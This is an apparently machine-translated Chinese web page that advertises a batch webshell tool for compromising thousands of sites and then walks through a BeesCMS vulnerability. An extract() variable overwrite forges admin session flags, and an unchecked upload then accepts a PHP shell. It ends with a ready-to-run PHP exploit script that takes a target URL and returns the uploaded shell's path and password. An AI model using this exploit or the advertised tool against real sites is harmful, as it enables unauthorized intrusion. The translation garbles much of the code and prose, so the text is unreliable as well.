批量拿web shell工具【最新】

2023-10-26

批量拿web shell工具【最新】内部有多个漏洞,可自动进行url采集,自动爬虫多个引擎和友情链接url,过狗一句话,轻松日出上千。
详情可看:https://note.youdao.com/s/G3zhC0Cw

 命令执行,文件操作和sql注入。以sql为例,我只是做了一个代码审计。今天换了个思绪,从文件操作开端。毕竟一个文件操作不对,就是getshell,比一步一步的注入要直爽的多。

一.重点
关于文件操作局部,首先要对php内置的文件操作函数的功用和特性有个大约的理解。

文件获取内容()
文件内容()
挪动_上传_文件()
readfile()
fopen()
文件()
fputs()
fwrite()
…………

这些都是文件读写的常用函数。普通关于这些函数的调用,能够直接搜索文件类的破绽,并且能够跟踪传送上下文参数的过程。说起来挺简单的。其实一条一条看过去还是很费时间的,特别是在快速破绽发掘方面。我对系统构造不熟习,有些参数传送或者办法乍一看可能很蠢。那么如何快速发现一个文件类的破绽呢?
审计文件破绽,首先我会去这个系统的上传局部。上传局部是曾经构建好的从输入到写入再到输出的一套流程。假如里面有问题,很可能直接拿壳。
上传破绽挖了这么多年,各种cms或多或少都会对上传局部停止检查和限制。常见的检查有
1.$_FILES['file']['name']普通会从上传文件的文件名中取出扩展名,与白名单或黑名单停止比照,肯定能否继续上传。
2.$_FILES['file']['type']上传文件的类型普通与白名单停止比拟。
3.$_FILES['file']['tmp_name']上传文件的暂时文件。一些比拟严谨的CMS会在这个阶段用getimagesize等函数检查暂时文件。假如文件是非法的,直接丢弃它。
常见的限制有
1.运用函数is_uploaded_file()将检查$_FILES['file']['tmp_name']能否是合法上传的文件。当$_FILES被破绽掩盖时,可修正的$_FILES['file']['tmp_name']将是一个极大的平安要挟。
2.单独运用move_uploaded_file()函数来处置上传的文件,缘由同上。move_uploaded_file函数也会判别能否是合法文件。降低系统存在可变掩盖破绽时躺枪的概率。
3.文件名是不可控的,后缀仅限于数组成员,如

$ext=array('jpg ',' png ',' gif ');

$filename = 'user_avatar_01 '。$ ext[$ s];

接下来,让我们看一下我们的目的业务
第二,实战
我们来看看beescms的上传代码。

if(isset($ _ FILES[' up ']){

if(is _ uploaded _ file($ _ FILES[' up '][' tmp _ name ']){

if($up_type=='pic'){

$ is _ thumb = empty($ _ POST[' thumb '])?0:$ _ POST[' thumb '];

$ thumb _ width = empty($ _ POST[' thumb _ width '])?$ _ sys[' thump _ width ']:intval($ _ POST[' thumb _ width ']);

$ thumb _ height = empty($ _ POST[' thumb _ height '])?$ _ sys[' thump _ height ']:intval($ _ POST[' thumb _ height ']);

$ logo = 0;

$ is _ up _ size = $ _ sys[' upload _ size ']* 1000 * 1000;

$ value _ arr = up _ img($ _ FILES[' up '],$is_up_size,array('image/gif ',' image/jpeg ',' image/png ',' image/jpg ',' image/bmp ',' image/pjpeg '),$is_thumb,$thumb_width,$thumb_height,$ logo);

$ pic = $ value _ arr[' pic '];

假如(!empty($ value _ arr[' thumb ']){

$ pic = $ value _ arr[' thumb '];

}

$str="$(self.parent.document)。find('#{$get} ')。val(' { $ pic } ');self . parent . TB _ remove();";

echo $ str

退出;

}//图像上传

}否则{

Die('未上传任何文件或文件大小超越效劳器限制大小并被返回以重新上传');

}

}

能够看出,is_uploaded_file是用来检查上传文件能否合法的,所以即便系统存在可变掩盖破绽(这个系统的确存在,后面会讨论),也没有太大协助。

其实up_img函数是用来上传的。让我们来看看吧。

function up_img($file,$size,$type,$thumb=0,$thumb_width= ",$thumb_height= ",$logo=1,$pic_alt="){

if(文件_存在(数据_途径。sys _ info . PHP '){ include(DATA _ PATH。sys _ info . PHP’);}

if(is _ uploaded _ file($ file[' tmp _ name ']){

if($file['size']>$size){

msg(‘图片超越’。$大小。大小’);

}

$ pic _ name = pathinfo($ file[' name ']);//图片信息

$ file _ type = $ file[' type '];

假如(!in _ array(strtolow($ file _ type),$type)){

Msg(“上传图片格式不正确”);

}

$ path _ name = " upload/img/";

$path=CMS_PATH。$ path _ name

假如(!file_exists($path)){

@ mkdir($ path);

}

$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;

$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);

$文件名= $途径。$up_file_name2。'.'。$ pic _ name[' extension '];

if(文件存在($文件名)){

Msg('此图片曾经存在,请更改图片称号!');//肯定称号能否相同。

}

$ return _ name[' up _ pic _ size ']= $ file[' size '];//上传图像大小

$ return _ name[' up _ pic _ ext ']= $ pic _ name[' extension '];//上传文件扩展名

$ return _ name[' up _ pic _ name ']= $ up _ file _ name;//上传图像称号

$ return _ name[' up _ pic _ path ']= $ path _ name;//上传图像途径

$ return _ name[' up _ pic _ time ']= time();//上传时间

unset($ pic _ name);

//开端上传

假如(!move _ uploaded _ file($ file[' tmp _ name '],$file_name)){

Msg('图片上传失败',",0);

}

好吧,让我们看看他的检查和限制

$ file _ type = $ file[' type '];

假如(!in _ array(strtolow($ file _ type),$type)){

Msg(“上传图片格式不正确”);

}

在这里,检查上传文件的类型。假如类型不在白名单中,将直接提示错误。

其实这张支票是没用的。类型来自客户端,你能够随意伪造。

让我们来看看保管的文件名。

$ pic _ name = pathinfo($ file[' name ']);//图片信息

…………

$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;

$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);

$文件名= $途径。$up_file_name2。'.'。$ pic _ name[' extension '];

没有经过任何检查,我们直接把$file['name'](也就是我们上传时的文件名)的后缀取到了重生成的文件中,只是伪造了合法的类型就能够正常获取外壳了。

第三,迂回
完毕了吗?不是,其实beecms系统前台没有上传点。。。的一切上传功用都需求后台权限。当然一个后台getshell是满足不了的,所以我继续挖。我们来看看如何考证后台权限。

Admin/upload.php第二行

include(' init . PHP ');

Admin/init.php第54行

假如(!is _ log in()){ header(' location:log in . PHP ');退出;}
看这个is_login函数。

包括/fun.php第997行
函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}

}
看这个is_login函数。

包括/fun.php第997行

函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}

}

这里没有检查用户信息,只是简单判别能否有login_in admin的两个会话标识位,能否超时。

如前所述,该系统具有可变掩盖破绽。假如能够掩盖(添加)这些$_SESSION值,就能够绕过这个检查。

$_SESSION掩盖有一个先决条件。session_start()必需呈现在掩盖之前,或者即便$_SESSION变量被掩盖,一旦session_start()变量被初始化。

看一下掩盖率。

Includes/init.php局部代码省略。

session_start()。
@include(INC_PATH。fun . PHP’);
define('IS_MB ',IS _ MB());

unset($HTTP_ENV_VARS,$HTTP_POST_VARS,$HTTP_GET_VARS,$HTTP_POST_FILES,$ HTTP _ COOKIE _ VARS);
假如(!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$ _ REQUEST = addsl($ _ REQUEST);
}
$ _ COOKIE = addsl($ _ COOKIE);
$ _ POST = addsl($ _ POST);
$ _ GET = addsl($ _ GET);
}
if(isset($ _ REQUEST)){ $ _ REQUEST = fl _ value($ _ REQUEST);}
$ _ COOKIE = fl _ value($ _ COOKIE);
$ _ GET = fl _ value($ _ GET);
@ extract($ _ POST);
@ extract($ _ GET);
@ extract($ _ COOKIE);
一个全局过滤的代码,最后用extract初始化变量。由于没有运用EXTR_SKIP参数,所以掩盖了一切变量,并且由于曾经执行了session_start()。
因而您能够掩盖(添加)任何$_SESSION值。这样,您就能够绕过后台检查,将一个后台getshell变成前台getshell。

四。应用

很好用。首先,后index.php。

_ SESSION[登录]= 1 & _ SESSION[管理]= 1 & _ SESSION[登录时间]=9999999999

然后翻开/admin/upload.php,选择一个要上传的php文件。
将上传包中的内容类型修正为image/png。

你做梦去吧。让我们把exp放上去。。。
脚本有攻击性,请在当地环境下测试!
不要在任何网站上运用这个脚本!
运用此脚本形成的一切结果与我无关!


print_r('
****************************************************
*
* Beescms文件上传破绽
*按SMLDHZ
* QQ:3298302054
*用法:php '。basename(__FILE__),'全球资源定位器(Uniform Resource Locator)
* php '。basename(__FILE__),'[URL]http://www . bees CMS . com/bees CMS/[/URL]
*
****************************************************
');
if($argc!=2){
退出;
}
$ uri = $ argv[1];
$ payload 1 = ' _ SESSION[log in _ in]= 1 & _ SESSION[admin]= 1 & _ SESSION[log in _ time]= 9999999999 ';
$payload2 = array(
向上”;filename="shell.php " '。" \ r \ n content-Type:image/png \ r \ n \ r \ n " = > ' "
);
preg_match('#Set-Cookie:(。*);# '、myCurl($uri。"/index.php ",$payload1),$ match);
假如(!isset($ match[1]){
死('[-]Opps!无法获取Cookie ...);
}
echo "+"获取了Cookie:"。$match[1]。”\ r \ n”;
echo "[+]正在尝试获取shell...\ r \ n ";
$tmp = myCurl($uri。"/admin/upload.php ",$payload2,$ match[1]);
preg_match('#val\(\ '(。*)\'\)# ',$tmp,$ shell);
假如(!isset($ shell[1]){
死('[-]Opps!无法获取外壳...请参阅下面的内容。$ tmp);
}
echo "+]你的shell:"。$uri。“/upload/”。$shell[1]。“[密码]:x”;

函数myCurl($url,$postData= ' ',$cookie=''){
$ ch = curl _ init();
curl_setopt($ch,CURLOPT_URL,$ URL);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$ post data);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
假如($cookie!= ''){
curl_setopt($ch,CURLOPT_COOKIE,$ COOKIE);
}
$ ret = curl _ exec($ ch);
curl _ close($ ch);
返回$ ret
}

摘要

前台变量掩盖$_SESSION以绕过后台考证。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

批量拿web shell工具【最新】 的相关文章

随机推荐

  • 网站镜像服务器,网站镜像服务器

    网站镜像服务器 内容精选 换一换 华为云最佳实践 从创建镜像 部署环境 搭建站点和代码实现方式等多方面提供开发实践指导及使用指南 全方面解决用户在使用华为云产品中遇到的常见问题 外部镜像文件在从原平台导出前 没有按照 Windows操作系统
  • web前端基础:CSS字体与文本样式

    CSS文字样式 文字样式属性 字体 font family 文字大小 font size 文字颜色 font color 文字粗细 font weight 文字样式 font style font family字体属性 定义元素内文字以什么
  • 三、多边形三角剖分的最低得分(Weekly Contest 135)

    题目描述 给定 N 想象一个凸 N 边多边形 其顶点按顺时针顺序依次标记为 A 0 A i A N 1 假设您将多边形剖分为 N 2 个三角形 对于每个三角形 该三角形的值是顶点标记的乘积 三角剖分的分数是进行三角剖分后所有 N 2 个三角
  • 手机怎样显示数据连接到服务器,怎样设置手机数据连接到服务器配置

    怎样设置手机数据连接到服务器配置 内容精选 换一换 该任务指导用户使用Loader将数据从Hive导出到SFTP服务器 创建或获取该任务中创建Loader作业的业务用户和密码 确保用户已授权访问作业中指定的Hive表的权限 获取SFTP服务
  • VUE3+Node.js实现分页请求

    前端 定义userList数组 负责接收后端传递过来的用户数据 并设置成响应式 定义queryInfo响应式变量 为传递给后端的值 包括当前页码和每页显示条数 发起请求 并处理后台传递过来的数据 后端 先拿到前端传递过来的pagenum和p
  • char与varchar详解

    区别 varchar是变长字段 需要使用一个或两个字节存储长度 当允许存储的最大字节数MW 字符长度 每个字符需要的字节 大于255字节且真实字节数超过127字节时使用2字节 否则使用1字节 所以varchar也要按需分配 varchar会
  • 一天一图学Python可视化(1):线性回归图

    现代人的时间越来越碎片化 因此我们准备抛弃那种长篇大论的教程 希望大家每天花上几分钟就可以学到一个小窍门或者某种图的绘制方法 只要每天都认真看一遍文章 有时间的时候花几分钟练习一下 一段时间之后 相信大家就都成为Python可视化的高手啦
  • vue3使用富文本编辑器vueQuill

    npm install vueup vue quill alpha save 在main js中引入 import createApp from vue import QuillEditor from vueup vue quill imp
  • Windows Server 2012 R2 主域+辅域部署

    背景 为什么要部署主域 备域控制器架构呢 如果我们只部署一台AD域的话 那么一旦我们这台AD域控服务器发生故障 那么整个域环境内的 用户 PC 活动目录等都会受到影响 域控无法使用的话 会导致很多麻烦 如果我们再部署一台或者多台备域控制器的
  • vue学习-03vue父子组件与ref属性

    本篇开始 我们将复习一下上篇的组件引入 App vue
  • LinearAlgebraMIT_10_4 subspace

    在该节课程中主要是对前面几节课程的回顾 以及对列空间和零空间转置后得到的行空间和左零空间的介绍 首先由于三秩相等的存在 我们知道列空间和行空间的维数是一样的 都为r 行空间的基求法也可以通过行变得到阶梯矩阵 其行向量就是行空间的基 零空间的
  • 基于51单片机的电子时钟万年历带农历温度proteus仿真

    硬件设计 本设计由数据显示模块 温度采集模块 时间处理模块和调整设置模块四个模块组成 系统以AT89S52单片机为控制器 以串行时钟日历芯片DS1302记录日历和时间 它可以对年 月 日 时 分 秒进行计时 还具有闰年补偿等多种功能 温度采
  • 黑马高级班DAY08【异常,lambda和Stream】

    day08 异常 lambda和Stream 今日内容 异常 异常处理 多线程 教学目标 能够辨别程序中异常和错误的区别 说出异常的分类 列举出常见的三个运行期异常 能够使用try catch关键字处理异常 能够使用throws关键字处理异
  • 栈的顺序存储结构C++实现

    Description 版本 2 0 作者 jianwen Date 2019 11 01 15 44 37 LastEditors jianwen LastEditTime 2019 11 03 10 08 29 include
  • 22 vue3中使用vuex--- state取值操作

    上一篇 21 vue3 vuex的安装配置 十一月的萧邦 CSDN博客 紧接上篇 本篇记录vue3中 vuex的取值操作 因为在写的项目中 我们大多都对vuex状态管理器进行了模块化的管理 所以我这里就直接模块化起步了 熟悉vue2的应该都
  • 【图像分割】基于马尔可夫随机场实现图像分割附matlab代码

    1 简介 日常生活中 人们用图像进行信息的获取和交换 因此 图像处理的应用范 围一定涉及到人们的生活 工作和学习的各个方面 而随着社会的发展 人类活 动范围也随之扩大 随之变化的还有图像处理的应用范围 确切的说图像处理是 关于图像的获取 传
  • TencentOS-tiny 内核基础组件(二十)- 优先级队列

    一 内核基础组件 优先级队列 概述 提供了基于优先级的队列管理 环形队列的入队出队规则是先入队的先出队 first in first out 优先级队列的出队顺序是按照优先级来的 优先级较高的元素先出队 API讲解 编程实例 1 编写mai
  • ES&Elasticsearch-header--菜鸟教程03字段类型和属性

    一 基本数据类型 1 text 被全文搜索的字符串 字段内容会被分析 在生成倒排索引之前 字符串会分析器分成词项 该类型不用于排序 很少用于聚合 2 keyword 用于索引结构化的字段 例如 邮件地址 主机名 状态码和标签 不分词 只能精
  • PHP怎么发送邮件?

    当然可以使用第三方发送邮件服务 本文主要介绍使用语言自身功能 socket 结合 smtp协议 实现的方法 比较好用的封装好的发送邮件的类库 就是 PHPMailer 了 PHPMailer 项目地址 https github com PH
  • 批量拿web shell工具【最新】

    批量拿web shell工具 最新 内部有多个漏洞 可自动进行url采集 自动爬虫多个引擎和友情链接url 过狗一句话 轻松日出上千 详情可看 https note youdao com s G3zhC0Cw 命令执行 文件操作和sql注入